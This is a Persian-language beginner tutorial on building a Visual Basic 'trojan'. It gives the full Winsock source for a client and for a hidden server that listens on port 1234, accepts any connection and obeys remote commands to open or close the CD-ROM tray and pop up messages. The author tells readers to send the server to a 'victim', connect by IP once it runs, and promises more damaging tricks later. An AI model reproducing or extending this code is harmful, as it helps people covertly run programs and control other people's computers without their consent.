__ اموزش ساختن Trojan با Visual Basic

در این مقاله سعی میکنم تا جایی که ممکنه موضوع را روان بیان کنم تا دوستانی که با Visual Basic هم آشنایی ندارند بتوانند یک Trojan برای خودشون بسازند !!
با این تروجان می توانید Cdrom قربانی را داخل وبیرون بیارید .
ومی توانید برای قربانی Message بفرستید !
اینا رو یاد بگیرید باحال تر از اینا رو به شما یاد میدم(که کارای خفن رو PC قربانی انجام بدین )
خوب ! شروع می کنیم :
VB=(Visual basic)

VB را اجرا کنید
و گزینه Standard Exe را انتخاب کنید

معمولا هر تروجان از 2 قسمت تشکیل شده
1.server که برای قربانی میفرستیم
2. Client خودمان باهاش کار می کنیم

خوب ! ما اول با هم Client را می سازیم (دقت کنید !)
نام Form را به frmClient تغییر دهید



یکی از ابزاری که نیاز داریم Winsock Control 6.0 برای ارتباط با پورت سرور
برای انتخاب این گزینه : Ctrl+t را فشار دهید یا در منوی Project گزینه Components را انتخاب کنید.صفحه به نام Components باز میشود که باید Winsock Control 6.0 را داخل ان پیدا وانتخاب کنید !


بعد از انتخاب Winsock Control 6.0 اگر به نوار سمت چپ نگاه کنین شکلی باید اضافه شده باشه :


---( Client )—
حالا باید گزینه های زیر روی frmClient قرار بگیرد

. 5 تا Command
.. 2 تا textbox
... 1 وینشک
... label 1



بعد نام تمام این گزینه ها را تغییر دهید (همانند نامهای زیر )!!! دقت کنید(مانند تغییر نام Form)

Command1 - cmdConnect
Command2 - cmdDisconnect
Command3 - cmdOpen
Command4 - cmdClose
Command5 - cmdMsg
Label1 - lblStatus
Text1 - txtIP
Text2 - txtMsg
Winsock1 - tcpClient

Caption گزینه ها را هم تغییر دهید



خوب الان دیگه وقت وارد کردن Code هاست
بر روی کلید Connect(command1)دوبار کلیک کنید و باز شدن صفحه کد زیر را وارد ان کنید. دقت کنید کد باید بین 2 کاراکتر زیر وارد شود!(روبروی کد ها نوع کار کد به انگلیسی توضیح داده شده .از اونم می توانید کمک بگیرید !

Private Sub cmdConnect_Click()
End Sub
این کد را بین این 2 کاراکتر کپی کنید .... بقیه هم به همین نوبت !

cmdConnect.Enabled = False ' disable the connect button
cmdDisconnect.Enabled = True ' eable the connect button
lblStatus.Caption = "Connecting" 'Show that you are trying to connect
If txtIP.Text = "" Then 'if IP textbox is empty then
MsgBox "Please enter a valid IP adress", vbCritical 'then give a messagebox
End If
tcpClient.Connect txtIP.Text, 1234 'connect to the IP you entered and on port 1234


در ا ینجا ما پورت را برابر 1234 قرار می دیم
روی کلید (Disconnect)(command2) نیز دو بار کلیک کنید وکد زیر را وارد صفحه کنید


lblStatus.Caption = "Not Connected" 'Show that you are not connected
cmdDisconnect.Enabled = False 'Disable the disconnect button
cmdConnect.Enabled = True 'Enable the Connect button again
tcpClient.Close 'Close the connection

حالا بر روی شکل Winsock روی form دو بار کلیک کنید . وقتی صفحه کدها باز شد
بالای صفحه .سمت چپ از منو گزینه Connect را انتخاب کنید



وبین دو کاراکتر ایجاد شده در صفحه کدها.

Private Sub tcpClient_Connect()

End Sub

کد زیر را وارد کنید :

lblStatus.Caption = "Connected" 'Show that your connected to the Server

بریم سراغ کدها سی دی رام :

بر روی کلید Open cd-rom (command 3)دو بار کلیک کنید و بین دو کاراکتر ایجاد شده در صفحه کد . کد زیر را وارد کنید
tcpClient.SendData "opn" 'send this string to the server

همین کار رو با کلید Close cdrom (command 4) انجام بدین وکد زیر را بین کارکترهای ایجاد شده قرار بدین
tcpClient.SendData "cls" 'send this string to the server

..روی کلید send massage (command 5) نیز دوبار کیک کنید و کد زیر را وارد کنید

tcpClient.SendData "msg" & txtMsg 'send this string to the server and the text in the textbox


((((( تبریک میگم ؟!! شما الان Client را درست کردین )))))  
فقط کافیه به صورت Exe کپی بشه !!
همین !!!! امیدوارم Save کردنشو بلد باشی !!
ولی باشه . چون اول قول دادم که طوری اموزش بدم که افراد مبتدی هم حالی ببرند . می گم  
برای save :
File>make ……(project


نوبتم باشه . نوبت Server هست !!
بریییییییییییییم!
خوب یک Vb دیگه باز کنید و Standard Exe را انتخاب کنید
در اینجا هم به winsock نیاز داریم . همون کاری که برای اوردن winsockدر client انجام دادین . اینجا هم انجام بدین !

Winsockرا روی form قرار بدین .بعد نام فورم و وینشک را مطابق زیر تغیر بدین
Winsock = tcpServer
Form = frmServer
روی Form دو بار کلیک کنید و بین کاراکتر های ایجاد شده کد زیر را کپی کنید

me.hide
tcpServer.LocalPort = 1234 'listen on port 1234
tcpServer.Listen 'start listening

حالا روی Winsock دو بار کلیک کنید و از منوی سمت چپ گزینه connection requestرا انتخاب و بین دو کاراکتر ایجاد شده در صفحه کدها . کد زیر را وارد کنید

tcpServer.Close 'close to prevent any error
tcpServer.Accept requestID 'accept all incoming requests

دوباره با کلیک بر روی Winsock از منوی سمت چپ صفحه کد باز شده گزینه errorرا انتخاب کنید و بین کاراکترهای ایجاد شده کد زیر را کپی کنید

On Error Resume Next 'to prevent any more error's
tcpServer.Close 'Close the connection
tcpServer.Listen 'listen again

حالا باید یک module داشته باشیم برای آوردن آن :
Project> Add Module>open

حالا داخل Module زیر را کپی کنید

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Dim SendStr As String, ReturnStr As String

Public Function DoCommand(command As String, data As String) 'The server is performing a command
Select Case LCase(command) 'Convert the command to lowercase and do a select case
Case "opn" 'the client sends the string opn
SendStr = mciSendString("Set cdaudio door open", ReturnStr, 0, 0) 'open the cd-rom door
Case "cls" 'the client sends the string cls
SendStr = mciSendString("Set cdaudio door closed", ReturnStr, 0, 0) 'close the cd-rom door
Case "msg" 'The client wants a message box to be shown
MsgBox data, vbInformation, "Information" ' Display the message to the server as a 'information messagebox
End Select 'end the select case
End Function 'end the function

Module را ببندید
و روی Form دو بار کلیک کنید و کد زیر را بالای صفحه (دقت کنید .بالا !) کپی کنید

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA"( ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

دوباره روی Form کلیک کنید و کد زیر را به صفحه کدها اضافه کنید

Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
Dim vardata As String
Dim strdata As String ' Variable for holding the data received
Dim cmddata As String * 3 ' This is for holding the command the server sent
tcpServer.GetData strdata ' Get the data sent
cmddata = Left(strdata, 3) ' This is the command the server sent
vardata = Right(strdata, Len(strdata) - 3) ' This is the variable data
DoCommand cmddata, vardata ' This function is in the commands module
End Sub


اینم تمام شد حالا save کنید

خوب اینم از سرور ( تبریک می گم . شما یک Trojan نوشتید !؟ )  
حالا کافیه سرور را برای شخص مورد نظر بفرسین و پس از اطمینان از اجرای ان در کامپیوترش با وارد کردن ip او در Client به سیستم او وصل بشین و .........!؟  

البته اینو بگم که سرور قابلیت اینو که هر بار ویندوز لود میشه . اجرا بشه را نداره
و کارایی این Trojan هم محدوده (open & close cdrom…Send message)

چندتا سورس که میتونید از اونا استفاده کنید